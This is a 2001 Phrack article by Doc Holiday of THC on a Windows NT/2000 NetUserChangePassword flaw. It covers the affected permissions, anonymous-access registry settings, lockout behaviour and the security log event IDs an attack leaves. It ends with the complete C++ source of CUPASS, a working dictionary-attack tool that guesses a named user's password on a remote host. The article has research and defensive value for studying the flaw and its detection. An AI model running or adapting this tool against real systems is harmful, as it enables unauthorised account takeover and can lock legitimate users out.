==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x10 of 0x12 |=---------=[ CUPASS AND THE NETUSERCHANGEPASSWORD PROBLEM ]=------------=| |=-----------------------------------------------------------------------=| |=-------=[ Doc Holiday / THC ]=----------=| ----| INTRODUCTION Microsoft has a known problem in Windows NT 4, that enables an attacker to change the password of any user under special/default circumstances. The same problem reappeared in Windows 2000 some days ago. The flaw exists in Microsofts implementation of the NetUserChangePassword function. These facts inspired me to write this article and CUPASS, a simple tool that starts a dictionary attack against user accounts. In this article I want to discuss all things worth knowing about the NetUserChangePassword problem. Have fun while reading this article... Doc Holiday /THC ----| THE PASSWORD CHANGE PROTOCOLS As a little background I will tell you something about the possibilites to change a password in a Windows NT/W2K environment. Windows 2000 supports several protocols for changing passwords which are used under different circumstances. These protocols are - NetUserChangePassword protocol (we will call it NUCP) - NetUserSetInfo protocol - Kerberos change-password protocol - Kerberos set-password protocol - LDAP write-password attribute (presumes 128Bit SSL) - XACT-SMB protocol (for LAN Manager compatibility) Because there is a flaw in Microsofts implementation of the NUCP protocol, we will have a deeper look at this one. ----| PROTOCOL ELECTION We can see that there are a lot of protocols for changing passwords in an Microsoft environment. Now I will show in which cases the NUCP is used: case 1 ------ If a user changes his password by pressing CTRL+ALT+DELETE and pressing the "Change Password" button, the NUCP protocol is used, if the target is a domain or the local member server or workstation. If the target is a Kerberos realm, the Kerberos change-password protocol is used instead of NUCP. case 2 ------ If a change password request is initiated from an Windows NT 3.x or NT 4 machine, the NUCP and/or NetUserSetInfo protocols are used. case 3 ------ If a program uses the NUCP method on the Active Directory Services Interface (ADSI), the IaDSUser interface first tries to change the password with the LDAP protocol, and then by using the NUCP method. ----| NUCP FUNCTION CALL At this time we know that a lot of ways exist to change a users password. We also know in which cases NUCP is used. Now we want to have a little look at the function NetUserChangePassword itself. (More detailed information can be found at Microsoft's SDK!) Prototype --------- The prototype of the NetUserChangePassword function is defined in "lmaccess.h", and looks as follows: NET_API_STATUS NET_API_FUNCTION NetUserChangePassword ( IN LPCWSTR domainname OPTIONAL, IN LPCWSTR username OPTIONAL, IN LPCWSTR oldpassword, IN LPCWSTR newpassword ); The parameters are explained consecutively: Parameters ---------- ->domainname ---------- Pointer to a null-terminated Unicode string that specifies the name of a remote server or domain. ->username -------- Pointer to a null-terminated Unicode string that specifies a user name. ->oldpassword ----------- Pointer to a null-terminated Unicode string that specifies the user's old password on the server or domain. ->newpassword ----------- Pointer to a null-terminated Unicode string that specifies the user's new password on the server or domain. Return values ------------- The return values are defined in "LMERR.H" and "WINERROR.H". With a deeper look in this files we can see that if the function was executed with success, the return value is 0 (zero) btw. NERR_Success. The most important error values are: ->ERROR_ACCESS_DENIED (WINERROR.H) -------------------------------- Access is denied ;) If the target is a NT Server/Domain Controller, and the option "User Must Log On in Order to Change Password" is enabled, this error code is the result of CUPASS. The password could not be guessed :( If the target is a W2K domain controller with AD installed, and the EVERYONE group is removed from the group "Pre-Windows 2000 compatible access", than this error code is an result of NUCP. In some cases this means the right password was guessed by CUPASS, but could not be changed because of insufficient permissions on the corresponding AD object. ->ERROR_INVALID_PASSWORD (WINERROR.H) ----------------------------------- The guessed password (oldpassword) was invalid ->ERROR_ACCOUNT_LOCKED_OUT (WINERROR.H) ------------------------------------- The account is locked due to many logon tries. ->ERROR_CANT_ACCESS_DOMAIN_INFO (WINERROR.H) ------------------------------------------ Indicates a Windows NT Server could not be contacted or that objects within the domain are protected such that necessary information could not be retrieved. ->NERR_UserNotFound (LMERR.H) --------------------------- The useraccount could not be found on the given server. ->NERR_NotPrimary (LMERR.H) ------------------------- The operation is only allowed on the PDC. This appears e.g. if you try to change passwords on a BDC. This return values are evaluated by CUPASS. For all others, the numeric value will be shown, and you can simply have a look at this files for the meaning of the errorcode. MORE DETAILS ON NUCP API CALL ----------------------------- The NUCP function is only available on Windows NT and Windows 2000 platforms. As part of the LanMan-API the NUCP function is UNICODE only!!! This makes the programming a little bit harder, but not impossible :) UNICODE on Windows is an topic for itself, and we dont want to talk more about it here. Have a look at Microsofts msdn webpage or Charles Petzolds book about Windows programming, if you are interested in this topic. For a successfull usage of NUCP, you have to link your program with the "Netapi32.lib" library! ----| REQUIRED PERMISSIONS FOR NUCP NUCP is part of the Microsoft network management functions. The management functions consists of different groups like NetFileFunctions, ScheduleFunctions, ServerFunctions, UserFunctions etc. These functions are again splitted in Query Functions and Update Functions. Whilst query functions just allow to query informations, the update functions allow changes on objects. An example for a query function is e.g the NetUserEnum function which provides information about all user accounts on a server. An example for an update function is the NetUserChangePassword function which changes the password of a user account :) Its easy to imagine, that query functions need less permissions than update functions for beeing executed. Lets have a look what permissions are needet: WINDOWS NT ---------- The query functions like NetGroupEnum, NetUserEnum etc. and can be executed by all authenticated users. This includes Anonymous users, if the RestrictAnonymous policy setting allows anonymous access. On a Windows NT member server, workstation or PDC, the NetUserChangePassword function can only be (successfull) executed by Administrators, Account Operators or the user of the account, if the option 'User Must Log On in Order to Change Password' for this user is enabled. If 'User Must Log On in Order to Change Password' is not enabled, a user can change the password of any other user, as long he knows the actual password. WINDOWS 2000 ------------ The query functions like NetGroupEnum, NetUserEnum etc. can be executed by all authenticated users. This includes Anonymous users, if the RestrictAnonymous policy setting allows anonymous access. On a W2K member server or workstation the NetUserChangePassword function should only be (successfully) executable by Administrators, Account Operators or the user of the account. That this isn't the case, can be shown with CUPASS, because here is the flaw that Microsoft made with his implementation of NetUserChangePassword. On W2K member servers and workstations, the NetUserChangePassword function can be successfully executed by any user who knows the current password of the attacked user account. ( For your information: The option 'User Must Log On in Order to Change Password' has been removed >from W2K! ) On a W2K domain controller with Active Directory, access to an object is granted based on the ACL of the object (Because W2K with installed AD stores the user passwords in the AD in contrast to NT 3.x/4). Network management query functions are permitted to all authenticated users and the members of the group "Pre-Windows 2000 compatible access" by the default ACL's. Theoretical Network Management Update functions like NUCP are only permitted to Administrators and Account Operators. That this is not the case, can also be shown with CUPASS. CUPASS works fine if AD is installed on the target system. If the "everyone" group is removed from the "Pre-Windows 2000 compatible access" group, the result of CUPASS will be Errorcode 5, which means ACCESS_DENIED!. My research shows that anyhow the password is guessed by CUPASS, but can not be changed because of insufficient permissions on the AD object! ----| ANONYMOUS CONNECT There is something I didn't talk about much, the Anonymous User Problem, also known as the NULL-User problem. Lets have a short look at how the Anonymous security settings will take affect to the NUCP problem: -> W2K --- The value Data of the following registry value regulates the behaviour of the operating system regarding to the NULL USER CONNECT. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA Value: RestrictAnonymous Value Type: REG_DWORD If RestrictAnonymous is set to 0 (zero), which is the default setting, CUPASS will work properly. If RestrictAnonymous is set to 1, what means the enumeration of SAM accounts and names is not allowed, CUPASS will work properly. If RestrictAnonymous is set to 2, what means no access without explicit anonymous permissions, there is no possibility to change the password with NUCP :( Because the value 2 has comprehensive consequences to the behaviour of the windows environment (e.g. Browser service will not work properly, netlogon secure channels could not be established properly by member workstations etc..) it is rare used. These settings are the same on W2K member server and W2K DC with AD! -> NT4 --- The value Data of the following registry value regulates the behaviour of the operating system regarding to the NULL USER CONNECT. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA Value: RestrictAnonymous Value Type: REG_DWORD Converse to W2K there are only two valid values 0 (zero) and 1 for RestrictAnonymous. If RestrictAnonymous is set to 0 (zero), which is the default setting, CUPASS will work properly. If RestrictAnonymous is set to 1, what means the enumeration of SAM accounts and names is not allowed, CUPASS will work properly. COMMON ------ The process that calls the NetUserChangePassword function in some cases must have the SE_CHANGE_NOTIFY_NAME privilege (except for system account and members of the local Administrator group). Per default this privilege is enabled for every account, but can be disabled by the administrator. SE_CHANGE_NOTIFY_NAME could not be found at the privileges, because it is called "Bypass traverse checking"! This is an declarative from Microsoft. I tried it, but I didn't find a case in that this right was necessary to execute the NUCP function call. ----| POLICY AND LOGGING I will have a look for the policy settings, that will take affect to the NUCP problem. ACCOUNT POLICIES ---------------- ->PASSWORD POLICY --------------- The settings "Enforce password history" and "Minimum password age" will take effect to the result of CUPASS, in the way that CUPASS can't "realy" change the password, and the error code 2245 will result. But this doesn't matter, because we know the "old" password at this time, and CUPASS just tried to replace the "old" password with the "old" password again. ->ACCOUNT LOGOUT POLICY --------------------- Account lockout treshold ------------------------ The settings "Account lockout duration" and "Reset Account lockout after ..." are only relevant if the "Account lockout treshold" ist set to any value >0. If the treshold is set, than this takes affect to the work of CUPASS, because all attempts of CUPASS exceeding the treshold will lead to an account lockout :( However the Logout Policy ist not valid for the Administrator on NT4 environments, until the NT Reskit tool "Passprop" is used! In this case even the Administator account will be locked for network logons! If we start CUPASS against any account of a W2K server or a W2K domain controller with AD, this account is locked out, and even the Administrator account is marked as "Account is locked out", too ! But it is still possible for the Administrator account to log on interactive on the machine! AUDIT POLICY ------------ Lets have a look which auditing events have to enabled, to see an CUPASS attack in the security logs of the target machine. Audit Account Management ------------------------ If the setting "Audit Account Management" is enabled (success/failure), an entry with the ID 627 appears in in the security log. This entry contains all necessary datas for the administrator :( These e.g. are: Date, Time, Target Account Name, Caller User Name etc. Audit account logon events -------------------------- Surprisingly for some administrators, there appears no log entry if the settings "Audit account logon events" or "Audit logon events" are enabled, if the attack goes to the local machine. This is e.g. the case if you want to guess the local administrator password of your machine. If the CUPASS attack comes from remote, log entries ID 681 and ID 529 occures. Audit Object Access ------------------- If this type of auditing is enabled, and the attack goes to the local machine, an logfile entry with the ID 560 and 562 appears. ID 560 tells us that someone opened the object "Security Account Manager" whilst 562 tells us something like "Handle closed"... Maybe there occure some more logfile entries with other ID's, but these ones listed above are the ones I found while testing CUPASS. So test CUPASS on your own environment and have a look into your logfiles! ----| LAST WORDS I hope this article could give you a little overview about the NetUserChangePassword problem, and Microsoft's inconsequent implementation of security and function calls. This article could not treat this topic concluding, because there are so many different situations and configurations that I could not test in my short sparetime :) ----| GREETS Greets to Van Hauser who inspired me for this release, ganymed, mindmaniac and all the other members from THC, VAX who gives me a lift to HAL2001, the guys from TESO, Seth, Rookie and all the other people knowing me... The biggest THANX are going to my wife, who missed me nearly the whole weekend while I was writing this article! Ok, have a nice day and lets meet and party at HAL2001 :) <++> cupass.cpp !a10c7302 /* * CUPASS v1.0 (c) 2001 by Doc Holiday / THC * http://www.hackerschoice.com * * Dictionary Attack against Windows Passwords with NetUserChangePassword. * Do only use for legal purposes. * * Compiled and tested on Windows NT/W2K - runs not on Win9x!! * Compiled with VC++ 6.0 * */ #define UNICODE 1 #define _UNICODE 1 #include #include #include #include #pragma comment( lib, "netapi32.lib" ) void wmain( int argc, wchar_t *argv[] ) { wchar_t *hostname = 0; wchar_t *username = 0; wchar_t *dictfile = 0; wchar_t myChar[256]; NET_API_STATUS result; FILE *stream; LPWSTR oldpassword; if (argc != 4) { wprintf (L"\nMissing or wrong parameters!\n"); wprintf ( L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); exit(1); } hostname = argv[1]; username = argv[2]; dictfile = argv[3]; if (wcsncmp(hostname, L"\\\\",2 )!=0) { wprintf (L"\nups... you forgot the double backslash?"); wprintf ( L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); exit(1); } if( (stream = _wfopen( dictfile, L"r" )) == NULL ) { wprintf( L"\nups... dictionary %s could not be opened", dictfile ); wprintf (L"\nUsage: cupass \\\\hostname username dictionaryfile\n"); } else { wprintf (L"\n*** CUPASS 1.0 - Change User PASSword - by Doc Holiday/THC (c) 2001 ***\n"); wprintf (L"\nStarting attack .....\n"); wprintf (L"\nTarget: %s ", hostname); wprintf (L"\nUser: %s\n ", username); while( !feof( stream ) ) { fgetws (myChar, 256,stream); if (myChar[wcslen(myChar)-1] == '\r') myChar[wcslen(myChar)-1] = '\0'; if (myChar[wcslen(myChar)-1] == '\n') myChar[wcslen(myChar)-1] = '\0'; oldpassword = myChar; wprintf( L"\nTrying password %s \n", oldpassword ); result = NetUserChangePassword( hostname, username,oldpassword, oldpassword ); switch (result) { case 0: wprintf( L"GOTCHA!! Password was changed\n" ); wprintf( L"\nPassword from user '%s' is '%s'\n", username, oldpassword); fclose (stream); exit (1); break; case 5: //ERROR_ACCESS_DENIED wprintf (L"Attempt failed -> ERROR_ACCESS_DENIED - But password could be %s\n", oldpassword); fclose (stream); exit(1); break; case 86: //ERROR_INVALID_PASSWORD wprintf( L"Attempt failed -> Incorrect password\n" ); break; case 1351: //ERROR_CANT_ACCESS_DOMAIN_INFO wprintf (L"Attempt failed -> Can't establish connection to Host %s\n",hostname); fclose (stream); exit(1); break; case 1909: //ERROR_ACCOUNT_LOCKED_OUT wprintf (L"Attempt failed -> Account locked out\n"); fclose (stream); exit(1); break; case 2221: //NERR_UserNotFound) wprintf (L"Attempt failed -> User %s not found\n", username); fclose (stream); exit(1); break; case 2226://NERR_NotPrimary wprintf (L"Attempt failed -> Operation only allowed on PDC\n"); break; case 2245: wprintf (L"GOTCHA!! Password is '%s' , but couldn't be changed to '%s' due to password policy settings!\n", oldpassword, oldpassword); fclose(stream); exit(1); break; default: wprintf( L"\nAttempt failed :( %lu\n", result ); fclose(stream); exit(1); break; } } fclose (stream); } } <--> end cupass.cpp |=[ EOF ]=---------------------------------------------------------------=|